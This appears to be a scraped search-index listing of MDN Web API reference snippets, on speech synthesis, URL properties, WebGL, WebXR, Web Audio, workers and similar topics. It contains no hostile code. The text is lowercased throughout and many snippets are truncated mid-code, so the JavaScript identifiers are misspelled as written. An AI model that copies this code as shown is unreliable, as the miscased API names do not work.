when a form containing the text we want to speak is submitted, we (amongst other things) create a new utterance containing this text, then speak it by passing it into speak() as a parameter.
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speak()' in that specification.
SpeechSynthesis.speaking - Web APIs
examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amispeaking = synth.speaking; // will return true if utterance 1 or utterance 2 are currently being spoken specifications specification status comment web speech apithe definition of 'speaking' in that specification.
StaticRange - Web APIs
get="_top"><rect x="171" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">staticrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor staticrange() creates a new staticrange object given the staticrangeinit dictionary specifying the default values for its properties.
... methods staticrange.torange() returns a new range object which describes the same range as the source staticrange, but is "live" with values that change to reflect changes in the contents of the dom tree.
StereoPannerNode.StereoPannerNode() - Web APIs
the stereopannernode() constructor of the web audio api creates a new stereopannernode object which is an audionode that represents a simple stereo panner node that can be used to pan an audio stream left or right.
... return value a new stereopannernode object instance.
StereoPannerNode.pan - Web APIs
syntax var audioctx = new audiocontext(); var pannode = audioctx.createstereopanner(); pannode.pan.value = -0.5; returned value an a-rate audioparam containing the panning to apply.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var myaudio = document.queryselector('audio'); var pancontrol = document.queryselector('.panning-control'); var panvalue = document.queryselector('.panning-value'); pre.innerhtml = myscript.innerhtml; // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // cre...
StereoPannerNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor stereopannernode() creates a new instance of a stereopannernode object.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var myaudio = document.queryselector('audio'); var pancontrol = document.queryselector('.panning-control'); var panvalue = document.queryselector('.panning-value'); pre.innerhtml = myscript.innerhtml; // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // cre...
Storage Access API - Web APIs
documentation for firefox's new storage access policy for blocking tracking cookies includes a detailed description of the scope of storage access grants.
... extensions to <iframe> sandbox the <iframe> element's sandbox attribute has a new token, allow-storage-access-by-user-activation, which permits sandboxed <iframe>s to use the storage access api to request storage access.
Streams API concepts - Web APIs
some of the concepts and terminology associated with streams might be new to you — this article explains all you need to know.
...there are two methods available in the spec to facilitate this: readablestream.pipethrough() — pipes the stream through a transform stream, which is a pair comprised of a writable stream that has data written to it, and a readable stream that then has the data read out of it — this acts as a kind of treadmill that constantly takes data in and transforms it to a new state.
StylePropertyMapReadOnly.keys() - Web APIs
the stylepropertymapreadonly.keys() method returns a new array iterator containing the keys for each item in stylepropertymapreadonly syntax stylepropertymapreadonly.keys() parameters none.
... return value a new array.
StylePropertyMapReadOnly.values() - Web APIs
the stylepropertymapreadonly.values() method returns a new array iterator containing the values for each index in the stylepropertymapreadonly object.
... return value a new array.
StylePropertyMapReadOnly - Web APIs
stylepropertymapreadonly.keys() returns a new array iterator containing the keys for each item in stylepropertymapreadonly.
... stylepropertymapreadonly.values() returns a new array iterator containing the values for each index in the stylepropertymapreadonly object.
SubtleCrypto.digest() - Web APIs
the inhabitants refer to it as the planet earth.'; async function digestmessage(message) { const encoder = new textencoder(); const data = encoder.encode(message); const hash = await crypto.subtle.digest('sha-256', data); return hash; } const digestbuffer = await digestmessage(text); console.log(digestbuffer.bytelength); converting a digest to a hex string the digest is returned as an arraybuffer, but for comparison and display digests are often represented as hex strings.
...the inhabitants refer to it as the planet earth.'; async function digestmessage(message) { const msguint8 = new textencoder().encode(message); // encode as (utf-8) uint8array const hashbuffer = await crypto.subtle.digest('sha-256', msguint8); // hash the message const hasharray = array.from(new uint8array(hashbuffer)); // convert buffer to byte array const hashhex = hasharray.map(b => b.tostring(16).padstart(2, '0')).join(''); // convert bytes to hex string return hashhex; } const digesthex = await digestmessage(text); console.log(digesthex); specifications specification...
SyncEvent.SyncEvent() - Web APIs
the syncevent() constructor creates a new syncevent object.
... syntax var mysyncevent = new syncevent(type, init) parameters type the type of the event.
Text() - Web APIs
WebAPITextText
the text() constructor returns a newly created text object with the optional domstring given in parameter as its textual content.
... syntax text1 = new text(); // create an empty text node text2 = new text("this is a text node"); example let text = new text("test"); specifications specification status comment domthe definition of 'text()' in that specification.
Text.wholeText - Web APIs
WebAPITextwholeText
what we want is to be able to replace the whole text with new text.
... that’s where replacewholetext() comes in: para.firstchild.replacewholetext("thru-hiking is great, but "); we’re removing every adjacent text node (all the ones that constituted the whole text) but the one on which replacewholetext() is called, and we’re changing the remaining one to the new text.
TextEncoder() - Web APIs
the textencoder() constructor returns a newly created utf-8 textencoder object.
... syntax encoder = new textencoder(); parameters textencoder() takes no parameters since firefox 48 and chrome 53 note: prior to firefox 48 and chrome 53, an encoding type label was accepted as a paramer to the textencoder object, since then both browers have removed support for any encoder type other than utf-8, to match the spec.
TextEncoder - Web APIs
example const encoder = new textencoder() const view = encoder.encode('€') console.log(view); // uint8array(3) [226, 130, 172] constructor textencoder() returns a newly constructed textencoder that will generate a byte stream with utf-8 encoding.
...new array(len * 1.5) : new uint8array(len * 3); for (var point=0, nextcode=0, i = 0; i !== len; ) { point = str.charcodeat(i), i += 1; if (point >= 0xd800 && point <= 0xdbff) { if (i === len) { resarr[respos += 1] = 0xef/*0b11101111*/; resarr[respos += 1] = 0xbf/*0b10111111*/; resarr[respos += 1] = 0xbd/*0b1011110...
Touch() - Web APIs
WebAPITouchTouch
the touch() constructor creates a new touch object.
... syntax touch = new touch(touchinit); arguments touchinit is a touchinit dictionary, having the following fields: "identifier", required, of type long, that is the identification number for the touch point.
TouchEvent() - Web APIs
the touchevent() constructor creates a new touchevent.
... syntax event = new touchevent(typearg, toucheventinit); values typearg is a domstring representing the name of the event.
Multi-touch interaction - Web APIs
// log events flag var logevents = false; // touch point cache var tpcache = new array(); register event handlers event handlers are registered for all four touch event types.
...ttouches[0].clientx); var diff2 = math.abs(tpcache[point2].clientx - ev.targettouches[1].clientx); // this threshold is device dependent as well as application specific var pinch_threshhold = ev.target.clientwidth / 10; if (diff1 >= pinch_threshhold && diff2 >= pinch_threshhold) ev.target.style.background = "green"; } else { // empty tpcache tpcache = new array(); } } } touch start handler the touchstart event handler caches touch points to support 2-touch gestures.
TrackDefaultList.TrackDefaultList() - Web APIs
the trackdefaultlist() constructor of the trackdefaultlist interface constructs and returns a new trackdefaultlist object.
... syntax var trackdefaultlist = new trackdefaultlist(trackdefaults); parameters trackdefaults a sequence (array) of trackdefault objects.
TransitionEvent() - Web APIs
the transitionevent() constructor returns a newly created transitionevent, representing an event in relation with an transition.
... syntax transitionevent = new transitionevent(type, {propertyname: apropertyname, elapsedtime : afloat, pseudoelement: apseudoelementname}); arguments the transitionevent() constructor also inherits arguments from event().
UIEvent() - Web APIs
WebAPIUIEventUIEvent
the uievent() constructor creates a new uievent.
... syntax event = new uievent(typearg [, uieventinit]) values typearg is a domstring representing the name of the event.
UIEvent.initUIEvent() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
URL.createObjectURL() - Web APIs
the new object url represents the specified file object or blob object.
... usage notes memory management each time you call createobjecturl(), a new object url is created, even if you've already created one for the same object.
URL.hash - Web APIs
WebAPIURLhash
syntax const string = url.hash url.hash = newhash value a usvstring.
... examples const url = new url('/docs/web/api/url/href#examples'); console.log(url.hash); // logs: '#examples' specifications specification status comment urlthe definition of 'url.hash' in that specification.
URL.host - Web APIs
WebAPIURLhost
syntax const host = url.host url.host = newhost value a usvstring.
... examples let url = new url('/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" url = new url('https://developer.mozilla.org:443/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port url = new url('https://developer.mozilla.org:4097/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org:4097" specifications specification status comment urlthe definition of 'url.host' in that specification.
URL.href - Web APIs
WebAPIURLhref
syntax const urlstring = url.href url.href = newurlstring value a usvstring.
... examples const url = new url('/docs/web/api/url/href'); console.log(url.href); // logs: '/docs/web/api/url/href' specifications specification status comment urlthe definition of 'url.href' in that specification.
URL.password - Web APIs
WebAPIURLpassword
syntax const passwordstring = url.password url.password = newpassword value a usvstring.
... examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/password'); console.log(url.password) // logs "flabada" specifications specification status comment urlthe definition of 'url.password' in that specification.
URL.pathname - Web APIs
WebAPIURLpathname
syntax const path = url.pathname url.pathname = newpath value a usvstring.
... examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
URL.pathname - Web APIs
syntax const path = url.pathname url.pathname = newpath value a usvstring.
... examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
URL.port - Web APIs
WebAPIURLport
syntax const portnumber = url.port url.port = newportnumber value a usvstring.
... examples const url = new url('https://mydomain.com:80/svn/repos/'); console.log(url.port); // logs '80' specifications specification status comment urlthe definition of 'url.port' in that specification.
URL.protocol - Web APIs
WebAPIURLprotocol
syntax const protocol = url.protocol url.protocol = newprotocol value a usvstring.
... examples const url = new url('/docs/web/api/url/protocol'); console.log(url.protocol); // logs "https:" specifications specification status comment urlthe definition of 'protocol' in that specification.
URL.search - Web APIs
WebAPIURLsearch
syntax const searchparams = object.search url.search = newsearchparams value a usvstring.
... examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.search - Web APIs
WebAPIURLsearch?q=123
syntax const searchparams = object.search url.search = newsearchparams value a usvstring.
... examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.username - Web APIs
WebAPIURLusername
syntax const usernamestring = url.username url.username = newusername value a usvstring.
... examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/username'); console.log(url.username) // logs "anonymous" specifications specification status comment urlthe definition of 'username' in that specification.
URLSearchParams.append() - Web APIs
the append() method of the urlsearchparams interface appends a specified key/value pair as a new search parameter.
... examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter.
URLSearchParams.toString() - Web APIs
(returns an empty string if no search parameters have been set.) examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter.
... params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let url = new url('https://example.com?foo=1&bar=2'); let params = url.searchparams; // or even simpler let params = new urlsearchparams('foo=1&bar=2'); specifications specification status comment urlthe definition of 'tostring() (see "stringifier")' in that specification.
USBConfiguration.USBConfiguration() - Web APIs
the usbconfiguration() constructor creates a new usbconfiguration object which contains information about the configuration on the provided usbdevice with the given configuration value.
... syntax var usbconfiguration = new usbconfiguration(device, configurationvalue) parameters device specifies the usbdevice you want to configure.
VTTCue - Web APIs
WebAPIVTTCue
constructor vttcue(starttime, endtime, text) returns a newly created vttcue object that covers the given time range and has the given text.
... example html <video controls src="https://udn.realityripple.com/samples/c6/f8a3489533.webm"></video> css video { width: 320px; height: 180px; } javascript let video = document.queryselector('video'); video.addeventlistener('loadedmetadata', () => { const track = video.addtexttrack("captions", "简体中文subtitles", "zh_cn"); track.mode = "showing"; const cuecn = new vttcue(0, 2.500, '字幕会在0至2.5秒间显示'); track.addcue(cuecn); const cueen = new vttcue(2.6, 4, 'subtitles will display between 2.6 and 4 seconds'); track.addcue(cueen); }); result chrome: please open in jsfiddle to view the live sample.
WaveShaperNode.oversample - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ...
...amount : 50, n_samples = 44100, curve = new float32array(n_samples), deg = math.pi / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( math.pi + k * math.abs(x) ); } return curve; }; ...
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
bone indices, interpreted as integer gl.vertexattribipointer(2, 4, gl.unsigned_byte, 20, 16); gl.enablevertexattribarray(2); //connect to attributes from the vertex shader gl.bindattriblocation(shaderprogram, 0, "position"); gl.bindattriblocation(shaderprogram, 1, "boneweights"); gl.bindattriblocation(shaderprogram, 2, "boneindices"); <script id="shader-vs" type="x-shader/x-vertex">#version 300 es uniform mat4 mvmatrix; uniform mat4 bones[120]; in vec3 position; in vec4 boneweights; in uvec4 boneindices;//read as 4-component unsigned integer void main() { vec4 skinnedposition = bones[boneindices.s] * vec4(position, 1.0) * boneweights.s + ...
...bones[boneindices.t] * vec4(position, 1.0) * boneweights.t + bones[boneindices.p] * vec4(position, 1.0) * boneweights.p + bones[boneindices.q] * vec4(position, 1.0) * boneweights.q; gl_position = mvmatrix * skinnedposition; } </script> specifications specification status comment webgl 2.0the definition of 'vertexattribipointer' in that specification.
WebGLRenderingContext.bufferData() - Web APIs
var dataarray = new float32array([1, 2, 3, 4]); var sizeinbytes = dataarray.length * dataarray.bytes_per_element; specifications specification status comment webgl 1.0the definition of 'bufferdata' in that specification.
... adds new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feedback_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer adds new usage hints: gl.static_read, gl.dynamic_read, gl.stream_read, gl.static_copy, gl.dynamic_copy, gl.stream_copy.
WebGLRenderingContext.vertexAttribPointer() - Web APIs
//load geometry with fetch() and response.json() const response = await fetch('assets/geometry.json'); const vertices = await response.json(); //create array buffer const buffer = new arraybuffer(20 * vertices.length); //fill array buffer const dv = new dataview(buffer); for (let i = 0; i < vertices.length; i++) { dv.setfloat32(20 * i, vertices[i].position[0], true); dv.setfloat32(20 * i + 4, vertices[i].position[1], true); dv.setfloat32(20 * i + 8, vertices[i].position[2], true); dv.setint8(20 * i + 12, vertices[i].normal[0] * 0x7f); dv.setint8(20 * i + 13, vertices...
...then we could load the binary file and interpret it as an array buffer: const response = await fetch('assets/geometry.bin'); const buffer = await response.arraybuffer(); consume array buffer with webgl first, we create a new vertex buffer object (vbo) and supply it with our array buffer: //bind array buffer to a vertex buffer object const vbo = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, vbo); gl.bufferdata(gl.array_buffer, buffer, gl.static_draw); then, we specify the memory layout of the array buffer, either by setting the index ourselves: //describe the layout of the buffer: //1.
WebGLRenderingContext - Web APIs
webglrenderingcontext.makexrcompatible() ensures the context is compatible with the user's xr hardware, re-creating the context if necessary with a new configuration to do so.
... webglrenderingcontext.linewidth() sets the line width of rasterized lines.
Clearing by clicking - Web APIs
every time the user clicks the canvas or the button, the canvas is cleared with a new randomly chosen color.
... gl.clearcolor(color[0], color[1], color[2], 1.0); // clear the context with the newly set color.
Matrix math for the web - Web APIs
result0[2], result0[3], result1[0], result1[1], result1[2], result1[3], result2[0], result2[1], result2[2], result2[3], result3[0], result3[1], result3[2], result3[3] ]; } let's look at this function in action: let somematrix = [ 4, 0, 0, 0, 0, 3, 0, 0, 0, 0, 5, 0, 4, 8, 4, 1 ] let identitymatrix = [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ]; // returns a new array equivalent to somematrix let somematrixresult = multiplymatrices(identitymatrix, somematrix); important: these matrix functions are written for clarity of explanation, not for speed or memory management.
... these functions create a lot of new arrays, which can be particularly expensive for real-time operations due to garbage collection.
Animating objects with WebGL - Web APIs
we can do that by creating a new variable to track the time at which we last animated (let's call it then), then adding the following code to the end of the main function var then = 0; // draw the scene repeatedly function render(now) { now *= 0.001; // convert to seconds const deltatime = now - then; then = now; drawscene(gl, programinfo, buffers, deltatime); requestanimationframe(render); } r...
... view the complete code | open this demo on a new page « previousnext » ...
Animating textures in WebGL - Web APIs
const level = 0; const internalformat = gl.rgba; const width = 1; const height = 1; const border = 0; const srcformat = gl.rgba; const srctype = gl.unsigned_byte; const pixel = new uint8array([0, 0, 255, 255]); // opaque blue gl.teximage2d(gl.texture_2d, level, internalformat, width, height, border, srcformat, srctype, pixel); // turn off mips and set wrapping to clamp to edge so it // will work regardless of the dimensions of the video.
... view the complete code | open this demo on a new page ...
WebRTC Statistics API - Web APIs
in this example, a new rtcpeerconnection is created, and then setinterval() is used to set the function getconnectionstats() to be called every second.
... try { mypeerconnection = new rtcpeerconnection(pcoptions); statsinterval = window.setinterval(getconnectionstats, 1000); /* add event handlers, etc */ } catch(err) { console.error("error creating rtcpeerconnection: " + err); } function getconnectionstats() { mypeerconnection.getstats(null).then(stats => { var statsoutput = ""; stats.foreach(report => { if (report.type === "inbound-rtp" && report.kind === "video") { object.keys(report).foreach(statname => { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; }); } }); document.queryselector(".stats-box").innerhtml = statsoutput; }); } when t...
WebSocket() - Web APIs
the websocket() constructor returns a new websocket object.
... syntax var awebsocket = new websocket(url [, protocols]); parameters url the url to which to connect; this should be the url to which the websocket server will respond.
WebSocket - Web APIs
WebAPIWebSocket
constructor websocket(url[, protocols]) returns a newly created websocket object.
...const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', function (event) { socket.send('hello server!'); }); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket' in tha...
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
we hope that it's freely usable; if not, and you're the owner, please let us know and we'll find or produce new diagrams.
...fortunately, physicists like galileo, newton, lorentz, and einstein have given us the principle of relativity, which states that the laws of physics have the same form in every frame of reference.
Rendering and the WebXR frame animation callback - Web APIs
kicking off the renderer thus looks like this: let worldrefspace; async function runxr(xrsession) { worldrefspace = await xrsession.requestreferencespace("immersive-vr"); if (worldrefspace) { viewerrefspace = worldrefspace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, viewerstartorientation)); animationframerequestid = xrsession.requestanimationframe(mydrawframe); } } after getting a reference space for the immersive world, this creates an offset reference space representing the position and orientation of the viewer by creating an xrrigidtransform representing that position and orientation, then calling the xrrefe...
...as a result, you wind up with the visual effect of the top part of the screen showing the new frame, while the bottom part of the frame shows some combination of the previous frame and possibly even the frame before that one.
Web Audio API best practices - Web APIs
here is a simple example of creating the context from inside a click event: const button = document.queryselector('button'); button.addeventlistener('click', function() { const audioctx = new audiocontext(); }, false); if however, you create the context outside of a user gesture, its state will be set to suspended and it will need to be started after user interaction.
... const audioctx = new audiocontext(); const button = document.queryselector('button'); button.addeventlistener('click', function() { // check if context is in suspended state (autoplay policy) if (audioctx.state === 'suspended') { audioctx.resume(); } }, false); you might instead be working with an offlineaudiocontext, in which case you can resume the suspended audio context with the startrendering() method.
Controlling multiple parameters with ConstantSourceNode - Web APIs
function setup() { context = new (window.audiocontext || window.webkitaudiocontext)(); playbutton = document.queryselector("#playbutton"); volumecontrol = document.queryselector("#volumecontrol"); playbutton.addeventlistener("click", toggleplay, false); volumecontrol.addeventlistener("input", changevolume, false); gainnode1 = context.creategain(); gainnode1.gain.value = 0.5; gainnode2 = context.creategain(); ...
... connect the new oscillator to the corresponding gain node.
Web Audio API - Web APIs
audiocontextoptions the audiocontextoptions dictionary is used to provide options when instantiating a new audiocontext.
...an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.
Web Locks API - Web APIs
advanced use for more complicated cases, such as holding the lock for an arbitrary amount of time, the callback can return a promise explicitly resolved by the script: // capture promise control functions: let resolve, reject; const p = new promise((res, rej) => { resolve = res; reject = rej; }); // request the lock: navigator.locks.request('my_resource', lock => { // lock is acquired.
... lockmanager provides methods for requesting a new lock object and querying for an existing lock object.
Web Storage API - Web APIs
web storage interfaces storage allows you to set, retrieve and remove data for a specific domain and storage type (session or local.) window the web storage api extends the window object with two new properties — window.sessionstorage and window.localstorage — which provide access to the current domain's session and local storage objects respectively, and a window.onstorage event handler that fires when a storage area changes (e.g.
... a new item is stored.) storageevent the storage event is fired on a document's window object when a storage area changes.
WheelEvent() - Web APIs
the wheelevent() constructor returns a newly created wheelevent object.
... syntax var wheelevent = new wheelevent(typearg, wheeleventinit); properties typearg is a domstring representing the name of the event.
Window.closed - Web APIs
WebAPIWindowclosed
if the popup hasn't been opened yet or the user has closed it a new window is opened.
... const popupwindow = null; function refreshpopupwindow() { if (popupwindow && !popupwindow.closed) { // popupwindow is open, refresh it popupwindow.location.reload(true); } else { // open a new popup window popupwindow = window.open('popup.html', 'datawindow'); } } specification specification status comment html living standardthe definition of 'window.closed' in that specification.
Window.customElements - Web APIs
the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about previously registered custom elements.
... examples the most common example you'll see of this property being used is to get access to the customelementregistry.define() method to define and register a new custom element, e.g.: let customelementregistry = window.customelements; customelementregistry.define('my-custom-element', mycustomelement); however, it is usually shortened to something like the following: customelements.define('element-details', class extends htmlelement { constructor() { super(); const template = document .getelementbyid('element-details-template') .content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(template.clonenode(true)); } } ); see our web-components-examples repo for more usage examples.
Window.matchMedia() - Web APIs
WebAPIWindowmatchMedia
the window interface's matchmedia() method returns a new mediaquerylist object that can then be used to determine if the document matches the media query string, as well as to monitor the document to detect when it matches (or stops matching) that media query.
... return value a new mediaquerylist object for the media query.
Obsolete features - Web APIs
personalbar obsolete since gecko 76 if this feature is on, then the new secondary window renders the personal toolbar in netscape 6.x, netscape 7.x and mozilla browser.
... mozilla and firefox users can force new windows to always render the personal toolbar/bookmarks toolbar by setting dom.disable_window_open_feature.personalbar to true in about:config or in their user.js file.
Window.releaseEvents() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
Window.resizeTo() - Web APIs
WebAPIWindowresizeTo
syntax window.resizeto(width, height) parameters width an integer representing the new outerwidth in pixels (including scroll bars, title bars, etc).
... height an integer value representing the new outerheight in pixels (including scroll bars, title bars, etc).
Window.routeEvent() - Web APIs
WebAPIWindowrouteEvent
not for use in new websites.deprecated.
... not for use in new websites.
Window.showModalDialog() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.see implementation notes.see implementation notes.
Window.speechSynthesis - Web APIs
inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
...ontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition o...
WindowOrWorkerGlobalScope.btoa() - Web APIs
for example: // convert a unicode string to a string in which // each 16-bit unit occupies only one byte function tobinary(string) { const codeunits = new uint16array(string.length); for (let i = 0; i < codeunits.length; i++) { codeunits[i] = string.charcodeat(i); } return string.fromcharcode(...new uint8array(codeunits.buffer)); } // a string that contains characters occupying > 1 byte const mystring = "☸☹☺☻☼☾☿"; const converted = tobinary(mystring); const encoded = btoa(converted); console.log(encoded); /...
.../ ocy5jjomoyy8jj4mpyy= if you do this, of course you'll have to reverse the conversion on the decoded string: function frombinary(binary) { const bytes = new uint8array(binary.length); for (let i = 0; i < bytes.length; i++) { bytes[i] = binary.charcodeat(i); } return string.fromcharcode(...new uint16array(bytes.buffer)); } const decoded = atob(encoded); const original = frombinary(decoded); console.log(original); // ☸☹☺☻☼☾☿ polyfill you can use a polifill from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it.
Worker() - Web APIs
WebAPIWorkerWorker
syntax var myworker = new worker(aurl, options); parameters aurl a usvstring representing the url of the script the worker will execute.
... examples the following code snippet shows creation of a worker object using the worker() constructor and subsequent usage of the object: var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, see our basic dedicated worker example (run dedicated worker).
Worker - Web APIs
WebAPIWorker
workers may themselves spawn new workers, as long as those workers are hosted at the same origin as the parent page.
... example the following code snippet creates a worker object using the worker() constructor, then uses the worker object: var myworker = new worker('/worker.js'); var first = document.queryselector('input#number1'); var second = document.queryselector('input#number2'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } for a full example, see ourbasic dedicated worker example (run dedicated worker).
XDomainRequest - Web APIs
syntax var xdr = new xdomainrequest(); returns a new xdomainrequest object, which can then be used to make and manage these requests.
... example if(window.xdomainrequest){ var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.onprogress = function () { //progress }; xdr.ontimeout = function () { //timeout }; xdr.onerror = function () { //error occurred }; xdr.onload = function() { //success(xdr.responsetext); } settimeout(function () { xdr.send(); }, 0); } note: the xdr.send() call is wrapped in a ...
XPathEvaluator.evaluate() - Web APIs
if this is specified as null or the implementation does not reuse the specified result, a new result object will be returned.
... html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var evaluator = new xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that specification.
XPathExpression.evaluate() - Web APIs
if this is specified as null or the implementation does not reuse the specified result, a new result object will be returned.
... html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression.ev...
XRInputSourcesChangeEvent.added - Web APIs
the read-only xrinputsourceschangeevent property added is a list of zero or more input sources, each identified using an xrinputsource object, which have been newly made available for use.
...it looks for new and removed devices whose targetraymode is tracked-pointer.
XRInputSourcesChangeEventInit.added - Web APIs
the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are newly available for use.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, each representing one input device added to the xr system.
XRInputSourcesChangeEventInit - Web APIs
the xrinputsourceschangeeventinit dictionary is used to provide options to the xrinputsourceschangeevent() constructor in order to set the initial state of the new xrinputsourceschangeevent object.
... properties added read only an array of zero or more xrinputsource objects, each representing one input device which is newly available to use.
XRReferenceSpaceEventInit.transform - Web APIs
examples this simple snippet calls the constructor to create a new reference space event of type reset.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.transform' in that specification.
XRRenderState.baseLayer - Web APIs
examples you can set the xrwebgllayer used for rendering by calling updaterenderstate(), like this: let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); setnewwebgllayer(); function setnewwebgllayer(gl) { if (!gl) { /* webgl not available */ return; } xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl); }); }; here, the canvas obtained in the first line is the canvas into which webgl is going to draw.
... that context is passed into new xrwebgllayer() to create an xrwebgllayer which uses the contents of the webgl context gl as the source of the world's image during presentation.
XRRigidTransform.matrix - Web APIs
it begins by allocating a new matrix and writing a 4x4 identity matrix into it: [1000010000100001]\begin{bmatrix} 1 & 0 & 0 & 0\\ 0 & 1 & 0 & 0\\ 0 & 0 & 1 & 0\\ 0 & 0 & 0 & 1 \end{bmatrix} this is a transform that will not change either the orientation or position of any point, vector, or object to which it's applied.
... let transform = new xrrigidtransform( {x: 0, y: 0.5, z: 0.5}, {x: 0, y: -0.5, z: -0.5, w: 1}); drawglobject("magic-lamp", transform.matrix); specifications specification status comment webxr device apithe definition of 'xrrigidtransform.matrix' in that specification.
XRSession: inputsourceschange event - Web APIs
the received event, of type xrinputsourceschangeevent, contains a list of any newly added and/or removed input devices.
... bubbles yes cancelable no interface xrinputsourceschangeevent event handler property oninputsourceschange the event object contains lists of the newly-added and/or removed input devices in its added and removed properties.
XRSession - Web APIs
WebAPIXRSession
requestreferencespace() requests that a new xrreferencespace of the specified type be created.
